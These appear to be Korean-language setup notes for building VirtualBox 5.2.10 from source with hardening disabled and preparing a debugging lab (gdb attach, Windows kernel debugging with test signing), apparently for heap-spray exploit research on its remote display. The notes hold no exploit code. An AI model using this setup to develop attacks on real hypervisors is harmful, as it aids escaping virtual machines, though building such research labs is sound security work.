sudo apt upgrade
reboot
Build
#!/bin/sh
sudo add-apt-repository ppa:beineri/opt-qt562-xenial # for qt5.6
# sudo add-apt-repository ppa:mjblenner/ppa-hal
sudo apt-get update
sudo apt-get install build-essential libssl-dev
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 zlib1g:i386
sudo apt-get install linux-headers-$(uname -r)
# except Qt5
sudo apt-get -y install acpica-tools chrpath doxygen g++-multilib libasound2-dev libcap-dev \
libcurl4-openssl-dev libdevmapper-dev libidl-dev libopus-dev libpam0g-dev \
libpulse-dev libsdl1.2-dev libsdl-ttf2.0-dev \
libssl-dev libvpx-dev libxcursor-dev libxinerama-dev libxml2-dev libxml2-utils \
libxmu-dev libxrandr-dev make nasm python3-dev python-dev \
texlive texlive-fonts-extra texlive-latex-extra unzip xsltproc \
\
default-jdk libstdc++5 libxslt1-dev linux-kernel-headers makeself \
mesa-common-dev subversion yasm zlib1g-dev
# sudo apt-get install qtbase5-dev qtbase5-dev-tools libqt5opengl5-dev libqt5x11extras5-dev qttools5-dev qttools5-dev-tools
sudo apt-get install qt56-meta-full
sudo apt-get -y install lib32z1 libc6-dev-i386 lib32gcc1 lib32stdc++6 gcc-multilib
sudo apt-get clean
configure를 통해 kmk 파일 생성. kmk 없을시 설치(sudo apt install kbuild)
./configure --disable-hardening --disable-java --disable-docs --with-qt-dir=/opt/qt56/
release 버전으로 빌드(debug 모드는 heap spray 할 때 gdb로 debugging 힘듬 - 중간에 걸림)
Asan 로그 볼 시에는 debug 모드로 빌드
source ./env.sh && BUILD_TYPE=release
빌드를 하고 나면 VirtualBox 폴더에 out 폴더 생성되는 것을 확인
이후 /home/vrdp/VirtualBox-5.2.10/out/linux.amd64/release/bin 에 들어간 후에 커널 모듈을 빌드하고 로드해야함
cd /home/vrdp/VirtualBox-5.2.10/out/linux.amd64/release/bin
./load.sh # 자동으로 커널 모듈 빌드
./loadall.sh
reboot
cd /home/vrdp/VirtualBox-5.2.10/out/linux.amd64/release/bin
./loadall.sh
이제 리눅스 종료 후 VirtualBox를 실행할 때 마다 ./loadall.sh 해주면 됨
#!/bin/sh
cd ./VirtualBox/out/linux.amd64/release/bin/
./loadall.sh
LD_LIBRARY_PATH=/opt/qt56/lib ./VBoxHeadless --startvm a10166b7-8df7-4463-88cc-5b886e754a19 --vrde on
#위의 시리얼은 아래의 명령어로 확인 가능, 아니면 이름으로 가능
#LD_LIBRARY_PATH=/opt/qt56/lib ./VBoxManage list vms
#LD_LIBRARY_PATH=/opt/qt56/lib ./VBoxHeadless --startvm windows_10 --vrde on
VirtualBox로 실행 후에 guest os를 디버깅 붙힐 시에는 ps로 VirtualBox pid 값 확인 후에 attach
ps -e | grep VirtualBox #2개가 나오는데 맨 아래 것이 VirtualBox guest os임.
sudo gdb -p pid값
VirtualBox Headless로 실행 시에는 VBoxHeadless로 pid값 확인 후 attach
ps -e | grep VBoxHeadless
sudo gdb -p pid값
Guest OS에서
set /p ip="호스트 IP 주소(디버깅 붙힐 OS)"
bcdedit /set testsigning on
bcdedit /debug on
bcdedit /dbsetting net hostip:%ip% port:50011
bcdedit /dbgsettings
이러면 키값이 나옴 이 키값을 디버깅 할 os에서 windbg를 열고 Attach to kernel 클릭
port number는 port 값 넣어주고 key 값은 위의 명령어를 실행 후 나온 키값을 넣어주면 됨